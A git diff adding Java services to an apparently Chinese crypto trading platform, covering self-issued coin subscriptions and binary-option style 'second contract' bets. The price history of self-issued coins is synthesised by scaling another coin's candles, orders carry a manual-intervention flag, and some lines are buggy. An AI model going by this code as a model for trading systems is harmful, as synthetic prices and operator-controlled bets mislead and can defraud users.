ITAppWalletRecordService appWalletRecordService; + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppAssetService tAppAssetService; + + /** + * 查询发币 + * + * @param id 发币主键 + * @return 发币 + */ + @Override + public TOwnCoin selectTOwnCoinById(Long id) { + return tOwnCoinMapper.selectTOwnCoinById(id); + } + + /** + * 查询发币列表 + * + * @param tOwnCoin 发币 + * @return 发币 + */ + @Override + public List selectTOwnCoinList(TOwnCoin tOwnCoin) { + return tOwnCoinMapper.selectTOwnCoinList(tOwnCoin); + } + + /** + * 新增发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + @Override + public int insertTOwnCoin(TOwnCoin tOwnCoin) { + tOwnCoin.setStatus(1); + tOwnCoin.setCreateTime(DateUtils.getNowDate()); + return tOwnCoinMapper.insertTOwnCoin(tOwnCoin); + } + + /** + * 修改发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + @Override + public int updateTOwnCoin(TOwnCoin tOwnCoin) { + tOwnCoin.setUpdateTime(DateUtils.getNowDate()); + return tOwnCoinMapper.updateTOwnCoin(tOwnCoin); + } + + /** + * 批量删除发币 + * + * @param ids 需要删除的发币主键 + * @return 结果 + */ + @Override + public int deleteTOwnCoinByIds(Long[] ids) { + return tOwnCoinMapper.deleteTOwnCoinByIds(ids); + } + + /** + * 删除发币信息 + * + * @param id 发币主键 + * @return 结果 + */ + @Override + public int deleteTOwnCoinById(Long id) { + return tOwnCoinMapper.deleteTOwnCoinById(id); + } + + @Override + public int editStatus(Long id) { + TOwnCoin tOwnCoin = new TOwnCoin(); + tOwnCoin.setId(id); + tOwnCoin.setStatus(2); + Date date = new Date(); + tOwnCoin.setBeginTime(date); + tOwnCoin.setEndTime(DateUtils.dateFormatDay(date, 7)); + return tOwnCoinMapper.updateById(tOwnCoin); + } + + @Override + public List selectLineList(KlineSymbol one, List his) { + for (Kline hi : his) { + Double proportion = one.getProportion().doubleValue(); + if (null == proportion || 0 == proportion) { + proportion = 100.00; + } + Double close = hi.getClose() * proportion / 100; + Double high = hi.getHigh() * proportion / 100; + Double low = hi.getLow() * proportion / 100; + Double open = hi.getOpen() * proportion / 100; + hi.setClose((hi.getClose() == 0 || hi.getClose() == null) ? 0 : new BigDecimal(close.toString()).doubleValue()); + hi.setHigh((hi.getHigh() == 0 || hi.getHigh() == null) ? 0 : new BigDecimal(high.toString()).doubleValue()); + hi.setLow((hi.getLow() == 0 || hi.getLow() == null) ? 0 : new BigDecimal(low.toString()).doubleValue()); + hi.setOpen((hi.getOpen() == 0 || hi.getOpen() == null) ? 0 : new BigDecimal(open.toString()).doubleValue()); + } + return his; + } + + /** + * 查询发币列表 + * + * @param status 新发币状态 + * @return + */ + @Override + public List ownCoinList(String status) { + Long userId = null; + try { + userId = StpUtil.getLoginIdAsLong(); + } catch (Exception e) { + e.printStackTrace(); + } + List list = this.list(new LambdaQueryWrapper().eq(TOwnCoin::getStatus, status)); + for (TOwnCoin tOwnCoin : list) { + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(tOwnCoin.getCreateTime()) ? tOwnCoin.getCreateTime().getTime() : 0l); + params.put("beginTime", Objects.nonNull(tOwnCoin.getBeginTime()) ? tOwnCoin.getCreateTime().getTime() : 0l); + params.put("endTime", Objects.nonNull(tOwnCoin.getEndTime()) ? tOwnCoin.getCreateTime().getTime() : 0l); + //未订阅状态0 + params.put("sub_status", 0); + if (userId != null) { + params.put("userId", userId); + TOwnCoinSubscribeOrder subOrder = tOwnCoinSubscribeOrderMapper.getOrderById(tOwnCoin.getId(), userId); + if (Objects.nonNull(subOrder)) { + //订阅状态,1订阅中、2订阅成功、3成功消息推送完成、4被拒绝 + params.put("sub_status", Long.valueOf(subOrder.getStatus())); + } + } + tOwnCoin.setParams(params); + } + return list; + } + + @Override + public TOwnCoinSubscribeOrder getTOwnCoinSubscribeOrder(Long id) { + return tOwnCoinSubscribeOrderMapper.selectTOwnCoinSubscribeOrderById(id); + } + + @Transactional + @Override + public int editReleaseStatus(Long id) { + TOwnCoin tOwnCoin = tOwnCoinMapper.selectTOwnCoinById(id); + if (tOwnCoin == null || tOwnCoin.getStatus() != 2) { + return 0; + } + try { + //查询该币所有订单 + List orderList = itOwnCoinOrderService.list(new LambdaQueryWrapper() + .eq(TOwnCoinOrder::getStatus, "1").eq(TOwnCoinOrder::getOwnId, tOwnCoin.getId())); + for (TOwnCoinOrder tOwnCoinOrder : orderList) { + tOwnCoinOrder.setStatus("2"); + //订单结算 资产币种数量 资产总额=占用(冻结)+可用 amount=occupied_amount+available_amount + BigDecimal amount = new BigDecimal(tOwnCoinOrder.getNumber()); + String ownCoin = tOwnCoinOrder.getOwnCoin(); + //创建资产 + TAppUser user = tAppUserService.getById(tOwnCoinOrder.getUserId()); + Map assetMap = tAppAssetService.getAssetByUserIdList(tOwnCoinOrder.getUserId()); + if (!assetMap.containsKey(ownCoin.toLowerCase() + tOwnCoinOrder.getUserId())) { + tAppAssetService.createAsset(user, ownCoin.toLowerCase(), AssetEnum.PLATFORM_ASSETS.getCode()); + } + assetMap = tAppAssetService.getAssetByUserIdList(tOwnCoinOrder.getUserId()); + TAppAsset asset = assetMap.get(ownCoin.toLowerCase() + tOwnCoinOrder.getUserId()); + BigDecimal availableAmount = asset.getAvailableAmount(); + tAppAssetService.updateTAppAsset( + TAppAsset.builder() + .symbol(ownCoin.toLowerCase()) + .userId(tOwnCoinOrder.getUserId()) + .amout(asset.getAmout().add(amount)) + .availableAmount(availableAmount.add(amount)) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + //帐变 + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.OWN_COIN_BUY.getCode(), + user.getLoginName(), tOwnCoinOrder.getOrderId(), RecordEnum.OWN_COIN_BUY.getInfo(), + availableAmount, availableAmount.add(amount), ownCoin.toLowerCase(), user.getAdminParentIds()); + } + itOwnCoinOrderService.saveOrUpdateBatch(orderList); + //订单结算完成 将币种添加至币种列表 + KlineSymbol klineSymbol = new KlineSymbol() + .setSymbol(tOwnCoin.getCoin().toLowerCase()) + .setMarket("echo") + .setSlug(tOwnCoin.getCoin().toUpperCase()) + .setLogo(tOwnCoin.getLogo()) + .setReferCoin(tOwnCoin.getReferCoin()) + .setReferMarket(tOwnCoin.getReferMarket()) + .setProportion(tOwnCoin.getProportion()); + klineSymbolService.save(klineSymbol); + //自动添加到秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setCoin(tOwnCoin.getCoin().toLowerCase()); + tSecondCoinConfig.setBaseCoin("usdt"); + tSecondCoinConfig.setShowSymbol(tOwnCoin.getShowSymbol()); + tSecondCoinConfig.setSort(999L); + tSecondCoinConfig.setStatus(1L); + tSecondCoinConfig.setMarket("echo"); + tSecondCoinConfig.setSymbol(tOwnCoin.getCoin().toLowerCase() + "usdt"); + tSecondCoinConfig.setShowFlag(1L); + tSecondCoinConfig.setCreateTime(new Date()); + tSecondCoinConfig.setLogo(tOwnCoin.getLogo()); + tSecondCoinConfig.setType(2); + TSecondCoinConfig btc = tSecondCoinConfigService.getOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, "btc")); + if (null != btc) { + tSecondCoinConfig.setPeriodId(btc.getId()); + } + tSecondCoinConfigService.insertSecondCoin(tSecondCoinConfig); + + tOwnCoin.setStatus(3); + tOwnCoinMapper.updateTOwnCoin(tOwnCoin); + return 1; + } catch (Exception e) { + TransactionAspectSupport.currentTransactionStatus().setRollbackOnly(); + return 0; + } + } + + @Override + public AjaxResult subscribeCoins(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) { + if (Objects.nonNull(tOwnCoinSubscribeOrder) && + Objects.nonNull(tOwnCoinSubscribeOrder.getUserId()) && + tOwnCoinSubscribeOrder.getUserId().equals(StpUtil.getLoginIdAsLong())) { + // 判断是否在筹备中 + TOwnCoin tOwnCoin = this.getById(tOwnCoinSubscribeOrder.getOwnId()); + if (tOwnCoin != null && tOwnCoin.getStatus() == 1) { + int result = + tOwnCoinSubscribeOrderMapper.selectTOwnCoinSubscribeOrderRecord(tOwnCoinSubscribeOrder); + if (result == 0) { + tOwnCoinSubscribeOrder.setSubscribeId("S" + OrderUtils.generateOrderNum()); + //状态,1订阅中、2订阅成功、3成功消息推送完成、4被拒绝 + tOwnCoinSubscribeOrder.setPrice(tOwnCoin.getPrice()); + tOwnCoinSubscribeOrder.setNumLimit(tOwnCoin.getPurchaseLimit().longValue()); + tOwnCoinSubscribeOrder.setAmountLimit( + tOwnCoin.getPrice().multiply(new BigDecimal(tOwnCoin.getPurchaseLimit())) + .setScale(4, RoundingMode.HALF_UP)); + tOwnCoinSubscribeOrder.setStatus("1"); + int count = tOwnCoinSubscribeOrderMapper.insertTOwnCoinSubscribeOrder(tOwnCoinSubscribeOrder); + if (count > 0) { + return AjaxResult.success(MessageUtils.message("own.coin.subscribe.success")); + } + } + } + } + return AjaxResult.error(MessageUtils.message("own.coin.subscribe.error")); + } + + @Override + public List selectTOwnCoinSubscribeOrderList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) { + return tOwnCoinSubscribeOrderMapper.selectTOwnCoinSubscribeOrderList(tOwnCoinSubscribeOrder); + } + + @Override + public int updateTOwnCoinSubscribeOrder(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) { + String status = tOwnCoinSubscribeOrder.getStatus(); + if (StringUtils.isBlank(status)) { + return 0; + } + switch (status) { + case "0": + tOwnCoinSubscribeOrder.setStatus("4"); + break; + case "1": + Long numLimit = tOwnCoinSubscribeOrder.getNumLimit(); + if (numLimit <= 0) { + return 0; + } + TOwnCoinSubscribeOrder order = + tOwnCoinSubscribeOrderMapper.selectTOwnCoinSubscribeOrderById(tOwnCoinSubscribeOrder.getId()); + tOwnCoinSubscribeOrder.setStatus("2"); + tOwnCoinSubscribeOrder.setAmountLimit(order.getPrice().multiply(new BigDecimal(numLimit)) + .setScale(4, RoundingMode.HALF_UP)); + break; + default: + return 0; + } + return tOwnCoinSubscribeOrderMapper.updateTOwnCoinSubscribeOrder(tOwnCoinSubscribeOrder); + } + + @Override + public TOwnCoinSubscribeOrder getOrderById(Long ownId, Long userId) { + return tOwnCoinSubscribeOrderMapper.getOrderById(ownId, userId); + } + + @Override + public TOwnCoinVO getDetail(Long userId, Long ownId) { + TOwnCoinSubscribeOrder orderById = tOwnCoinSubscribeOrderMapper.getOrderById(ownId, userId); + TOwnCoinVO tOwnCoinVO = new TOwnCoinVO(); + TOwnCoin tOwnCoin = tOwnCoinMapper.selectTOwnCoinById(ownId); + BeanUtils.copyProperties(tOwnCoin, tOwnCoinVO); + tOwnCoinVO.setNumLimit(orderById.getNumLimit()); + tOwnCoinVO.setBeginTimes(tOwnCoinVO.getBeginTime().getTime()); + tOwnCoinVO.setEndTimes(tOwnCoinVO.getEndTime().getTime()); + return tOwnCoinVO; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondCoinConfigServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondCoinConfigServiceImpl.java new file mode 100644 index 0000000..e5dfc63 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondCoinConfigServiceImpl.java @@ -0,0 +1,279 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.net.URISyntaxException; +import java.util.*; +import java.util.stream.Collectors; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.HomeCoinSetting; +import com.ruoyi.bussiness.domain.vo.SecondCoinCopyVO; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TSecondCoinConfigMapper; +import com.ruoyi.bussiness.mapper.TUserCoinMapper; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.bussiness.service.ITSecondPeriodConfigService; +import com.ruoyi.bussiness.service.ITUserCoinService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.socket.service.MarketThread; +import org.apache.commons.lang3.ObjectUtils; +import org.springframework.beans.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + + +/** + * 秒合约币种配置Service业务层处理 + * + * @author ruoyi + * @date 2023-07-11 + */ +@Service +public class TSecondCoinConfigServiceImpl extends ServiceImpl implements ITSecondCoinConfigService +{ + @Resource + private TSecondCoinConfigMapper tSecondCoinConfigMapper; + + @Resource + private TUserCoinMapper userCoinMapper; + + @Resource + private ITOwnCoinService itOwnCoinService; + + @Resource + private ITSecondPeriodConfigService tSecondPeriodConfigService; + + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + RedisCache redisCache; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + /** + * 查询秒合约币种配置 + * + * @param id 秒合约币种配置主键 + * @return 秒合约币种配置 + */ + @Override + public TSecondCoinConfig selectTSecondCoinConfigById(Long id) + { + return tSecondCoinConfigMapper.selectTSecondCoinConfigById(id); + } + + /** + * 查询秒合约币种配置列表 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 秒合约币种配置 + */ + @Override + public List selectTSecondCoinConfigList(TSecondCoinConfig tSecondCoinConfig) + { + return tSecondCoinConfigMapper.selectTSecondCoinConfigList(tSecondCoinConfig); + } + + /** + * 新增秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + @Override + public int insertTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig) + { + tSecondCoinConfig.setCreateTime(DateUtils.getNowDate()); + return tSecondCoinConfigMapper.insertTSecondCoinConfig(tSecondCoinConfig); + } + + @Override + @Transactional + public int insertSecondCoin(TSecondCoinConfig tSecondCoinConfig) { + tSecondCoinConfig.setCreateTime(DateUtils.getNowDate()); + if(tSecondCoinConfig.getMarket().equals("binance")||tSecondCoinConfig.getMarket().equals("huobi")){ + tSecondCoinConfig.setCoin(tSecondCoinConfig.getCoin().toLowerCase()); + tSecondCoinConfig.setSymbol(tSecondCoinConfig.getCoin().toLowerCase()+"usdt"); + tSecondCoinConfig.setBaseCoin("usdt"); + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setSlug(tSecondCoinConfig.getCoin().toLowerCase()); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(klineSymbol); + if(!CollectionUtils.isEmpty(klineSymbols)){ + tSecondCoinConfig.setLogo(klineSymbols.get(0).getLogo()); + } + }else if(tSecondCoinConfig.getMarket().equals("mt5") || tSecondCoinConfig.getMarket().equals("metal")){ + tSecondCoinConfig.setSymbol(tSecondCoinConfig.getCoin()); + tSecondCoinConfig.setCoin(tSecondCoinConfig.getCoin()); + tSecondCoinConfig.setBaseCoin(tSecondCoinConfig.getCoin()); + KlineSymbol klineSymbol = new KlineSymbol(); + klineSymbol.setSlug(tSecondCoinConfig.getSymbol().toUpperCase()); + List klineSymbols = klineSymbolMapper.selectKlineSymbolList(klineSymbol); + if(!CollectionUtils.isEmpty(klineSymbols)){ + tSecondCoinConfig.setLogo(klineSymbols.get(0).getLogo()); + } + }else if(tSecondCoinConfig.getMarket().equals("echo")){ + KlineSymbol klineSymbol = klineSymbolMapper.selectOne(new LambdaQueryWrapper().eq(KlineSymbol::getMarket, tSecondCoinConfig.getMarket()).eq(KlineSymbol::getSymbol, tSecondCoinConfig.getCoin().toLowerCase())); + tSecondCoinConfig.setCoin(tSecondCoinConfig.getCoin().toLowerCase()); + tSecondCoinConfig.setSymbol(tSecondCoinConfig.getCoin().toLowerCase()+"usdt"); + tSecondCoinConfig.setBaseCoin("usdt"); + tSecondCoinConfig.setLogo(klineSymbol.getLogo()); + } + if(StringUtils.isEmpty(tSecondCoinConfig.getShowSymbol())){ + tSecondCoinConfig.setShowSymbol(tSecondCoinConfig.getCoin().toUpperCase()+"/USDT"); + } + tSecondCoinConfigMapper.insertTSecondCoinConfig(tSecondCoinConfig); + //周期复制 + if(null != tSecondCoinConfig.getPeriodId()){ + //复制 币种ID periodid 的周期 配置到 新增的币种中 + tSecondPeriodConfigService.copyPeriodMethod(tSecondCoinConfig.getId(),tSecondCoinConfig.getPeriodId()); + } + HashMap object = new HashMap<>(); + object.put("add_coin",tSecondCoinConfig.getCoin()); + redisUtil.addStream(redisStreamNames,object); + return 1; + } + + /** + * 修改秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + @Override + public int updateTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig) + { + tSecondCoinConfig.setUpdateTime(DateUtils.getNowDate()); + return tSecondCoinConfigMapper.updateTSecondCoinConfig(tSecondCoinConfig); + } + + /** + * 批量删除秒合约币种配置 + * + * @param ids 需要删除的秒合约币种配置主键 + * @return 结果 + */ + @Override + public int deleteTSecondCoinConfigByIds(Long[] ids) + { + return tSecondCoinConfigMapper.deleteTSecondCoinConfigByIds(ids); + } + + /** + * 删除秒合约币种配置信息 + * + * @param id 秒合约币种配置主键 + * @return 结果 + */ + @Override + public int deleteTSecondCoinConfigById(Long id) + { + return tSecondCoinConfigMapper.deleteTSecondCoinConfigById(id); + } + + /** + * 批量一键添加 + * @param coins + * @return + */ + @Override + public boolean batchSave(String[] coins) { + List list = new ArrayList<>(); + for (String coin : coins) { + TSecondCoinConfig tSecondCoinConfig1 = tSecondCoinConfigMapper.selectOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, coin.toLowerCase())); + if(null != tSecondCoinConfig1){ + continue; + } + KlineSymbol klineSymbol = klineSymbolMapper.selectOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, coin.toUpperCase())); + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setSymbol(coin.toLowerCase()+"usdt"); + tSecondCoinConfig.setCoin(coin.toLowerCase()); + tSecondCoinConfig.setShowSymbol(coin.toUpperCase()+"/"+"USDT"); + tSecondCoinConfig.setShowFlag(1L); + tSecondCoinConfig.setStatus(1L); + tSecondCoinConfig.setSort(0L); + tSecondCoinConfig.setLogo(klineSymbol==null?null:klineSymbol.getLogo()); + tSecondCoinConfig.setCreateBy(SecurityUtils.getUsername()); + tSecondCoinConfig.setCreateTime(new Date()); + tSecondCoinConfig.setMarket(klineSymbol.getMarket()); + list.add(tSecondCoinConfig); + } + return this.saveBatch(list); + } + + @Override + public List getSymbolList() { + List rtn = new ArrayList(); + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setStatus(1L); + tSecondCoinConfig.setShowFlag(1L); + List tSecondCoinConfigs = selectTSecondCoinConfigList(tSecondCoinConfig); + tSecondCoinConfigs.stream().sorted(Comparator.comparing(TSecondCoinConfig::getSort)).collect(Collectors.toList()); + for (TSecondCoinConfig tSecondCoinConfig1: tSecondCoinConfigs ) { + SymbolCoinConfigVO symbolCoinConfigVO = new SymbolCoinConfigVO(); + BeanUtils.copyProperties(tSecondCoinConfig1 ,symbolCoinConfigVO); + symbolCoinConfigVO.setType(2); + symbolCoinConfigVO.setCoinType(tSecondCoinConfig1.getType()); + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + tSecondCoinConfig1.getCoin()); + symbolCoinConfigVO.setAmount(cacheObject); + String logo = tSecondCoinConfig1.getLogo(); + if(logo.contains("echo-res")){ + symbolCoinConfigVO.setLogo(logo); + }else { + symbolCoinConfigVO.setLogo("https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui"+logo.substring(logo.lastIndexOf("/"),logo.length())); + } + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper(); + queryWrapper.eq(TUserCoin::getCoin, symbolCoinConfigVO.getCoin().toLowerCase()); + if(StpUtil.isLogin()){ + queryWrapper.eq(TUserCoin::getUserId, StpUtil.getLoginIdAsLong()); + TUserCoin userCoin = userCoinMapper.selectOne(queryWrapper); + if(ObjectUtils.isNotEmpty(userCoin)){ + symbolCoinConfigVO.setIsCollect(1); + }else { + symbolCoinConfigVO.setIsCollect(2); + } + } + rtn.add(symbolCoinConfigVO); + + } + return rtn; + } + + @Override + public List selectBathCopySecondCoinConfigList() { + return tSecondCoinConfigMapper.selectBathCopySecondCoinConfigList(); + } + + @Override + public int bathCopyIng(SecondCoinCopyVO secondCoinCopyVO) { + List list = tSecondPeriodConfigService.list(new LambdaQueryWrapper().eq(TSecondPeriodConfig::getSecondId, secondCoinCopyVO.getCopyId())); + Long[] copyIds = secondCoinCopyVO.getCopyIds(); + for (Long copyId : copyIds) { + //删除原有的 + List copyList =new ArrayList<>(); + tSecondPeriodConfigService.remove(new LambdaQueryWrapper().eq(TSecondPeriodConfig::getSecondId,copyId)); + for (TSecondPeriodConfig secondPeriodConfig : list) { + secondPeriodConfig.setId(null); + secondPeriodConfig.setSecondId(copyId); + copyList.add(secondPeriodConfig); + } + tSecondPeriodConfigService.saveOrUpdateBatch(copyList); + } + return 1; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondContractOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondContractOrderServiceImpl.java new file mode 100644 index 0000000..e4da79f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondContractOrderServiceImpl.java @@ -0,0 +1,230 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.date.DateUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.concurrent.TimeUnit; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TAppAssetMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TSecondCoinConfigMapper; +import com.ruoyi.bussiness.mapper.TSecondContractOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.CommonEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.OrderUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + + +/** + * 秒合约订单Service业务层处理 + * + * @author ruoyi + * @date 2023-07-13 + */ +@Service +@Slf4j +public class TSecondContractOrderServiceImpl extends ServiceImpl implements ITSecondContractOrderService +{ + @Resource + private TSecondContractOrderMapper tSecondContractOrderMapper; + @Resource + private TSecondCoinConfigMapper tSecondCoinConfigMapper; + @Resource + private ITSecondPeriodConfigService itSecondPeriodConfigService; + @Resource + private TAppUserMapper appUserMapper; + @Resource + private ITAppAssetService assetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private RedisCache redisCache; + @Resource + private SettingService settingService; + + + /** + * 查询秒合约订单 + * + * @param id 秒合约订单主键 + * @return 秒合约订单 + */ + @Override + public TSecondContractOrder selectTSecondContractOrderById(Long id) + { + return tSecondContractOrderMapper.selectTSecondContractOrderById(id); + } + + /** + * 查询秒合约订单列表 + * + * @param tSecondContractOrder 秒合约订单 + * @return 秒合约订单 + */ + @Override + public List selectTSecondContractOrderList(TSecondContractOrder tSecondContractOrder) + { + List tSecondContractOrders = tSecondContractOrderMapper.selectTSecondContractOrderList(tSecondContractOrder); + for (TSecondContractOrder secondContractOrder : tSecondContractOrders) { + if(Objects.equals(CommonEnum.ZERO.getCode(), secondContractOrder.getStatus())){ + long time = (secondContractOrder.getCloseTime() - new Date().getTime()) / 1000; + secondContractOrder.setTime((int) time); + }else { + secondContractOrder.setTime(0); + } + } + return tSecondContractOrders; + } + + /** + * 新增秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + @Override + public int insertTSecondContractOrder(TSecondContractOrder tSecondContractOrder) + { + tSecondContractOrder.setCreateTime(DateUtils.getNowDate()); + return tSecondContractOrderMapper.insertTSecondContractOrder(tSecondContractOrder); + } + + /** + * 修改秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + @Override + public int updateTSecondContractOrder(TSecondContractOrder tSecondContractOrder) + { + return tSecondContractOrderMapper.updateTSecondContractOrder(tSecondContractOrder); + } + + /** + * 批量删除秒合约订单 + * + * @param ids 需要删除的秒合约订单主键 + * @return 结果 + */ + @Override + public int deleteTSecondContractOrderByIds(Long[] ids) + { + return tSecondContractOrderMapper.deleteTSecondContractOrderByIds(ids); + } + + /** + * 删除秒合约订单信息 + * + * @param id 秒合约订单主键 + * @return 结果 + */ + @Override + public int deleteTSecondContractOrderById(Long id) + { + return tSecondContractOrderMapper.deleteTSecondContractOrderById(id); + } + + @Override + public String createSecondContractOrder(TSecondContractOrder order) { + log.info("下单"+ JSONObject.toJSONString(order)); + try{ + String serialId = "R" + OrderUtils.generateOrderNum(); + long loginIdAsLong = StpUtil.getLoginIdAsLong(); + BigDecimal amount = order.getBetAmount(); + TAppUser user = appUserMapper.selectTAppUserByUserId(loginIdAsLong); + TSecondPeriodConfig secondPeriodConfig = itSecondPeriodConfigService.getById(order.getPeriodId()); + //判断金额上下限 + if(secondPeriodConfig.getMaxAmount().compareTo(amount)<0 || secondPeriodConfig.getMinAmount().compareTo(amount) > 0){ + return MessageUtils.message("order_amount_limit"); + } + //1. 时间判断, 不能太频繁 + + // 平台资产 + Map assetMap=assetService.getAssetByUserIdList(user.getUserId()); + TAppAsset asset=assetMap.get(order.getBaseSymbol().toLowerCase()+user.getUserId()); + if ( asset.getAvailableAmount().compareTo(amount) < 0) { + return MessageUtils.message("order_amount_error"); + } + //根据ID 查看时间 周期 + + //下单 + Date date = new Date(); + order.setRate(secondPeriodConfig.getOdds()); + order.setType(secondPeriodConfig.getPeriod().intValue()); + order.setRateFlag(secondPeriodConfig.getFlag()); + order.setUserId(user.getUserId()); + order.setOrderNo(serialId); + order.setCreateTime(date); + order.setCloseTime(date.getTime()+(order.getType()-2)* 1000L);//60秒后的时间) + order.setUserAddress(user.getAddress()); + order.setStatus(0); + order.setBetAmount(order.getBetAmount()); + order.setRewardAmount(BigDecimal.ZERO); + //当前币种最新价格 + BigDecimal price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + order.getCoinSymbol().toLowerCase()); + TSecondCoinConfig one = tSecondCoinConfigMapper.selectOne(new LambdaQueryWrapper().eq(TSecondCoinConfig::getCoin, order.getCoinSymbol().toUpperCase())); + if(one != null && 2!=one.getType()){ + price=redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + order.getCoinSymbol().toUpperCase()); + } + order.setOpenPrice(price); + order.setSign(0); + order.setManualIntervention(1); + order.setAdminParentIds(user.getAdminParentIds()); + //先扣钱,再下单 + if (redisCache.tryLock(CachePrefix.USER_WALLET.getPrefix() + user.getUserId(), user.getUserId(), 1000)) { + //成功的情况下才进行加锁限制 + if (!redisCache.hasKey(CachePrefix.ORDER_SECOND_CONTRACT.getPrefix() + user.getUserId())) { + redisCache.setCacheObject(CachePrefix.ORDER_SECOND_CONTRACT.getPrefix() + user.getUserId(), serialId, 10000, TimeUnit.MILLISECONDS); + } else { + return MessageUtils.message("order_10s_retry"); + } + BigDecimal availableAmount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().subtract(amount)); + asset.setAvailableAmount(availableAmount.subtract(amount)); + assetService.updateByUserId(asset); + appWalletRecordService.generateRecord(user.getUserId(), amount, RecordEnum.OPTION_BETTING.getCode(), user.getLoginName(), serialId, RecordEnum.OPTION_BETTING.getInfo(), availableAmount, availableAmount.subtract(amount),order.getBaseSymbol(),user.getAdminParentIds()); + this.insertTSecondContractOrder(order); + log.debug("下注提交成功, userId:{}, orderId:{}, money:{}", user.getUserId(), serialId, amount); + + //秒合约打码 + Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(setting)){ + AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getSencordIsOpen()) && addMosaic.getSencordIsOpen()){ + user.setTotleAmont(user.getTotleAmont().add(order.getBetAmount())); + appUserMapper.updateTotleAmont(user); + } + } + + return String.valueOf(order.getId()); + }else { + return MessageUtils.message("withdraw.refresh"); + } + }catch (Exception e){ + log.info(JSONObject.toJSONString(e)); + } + return 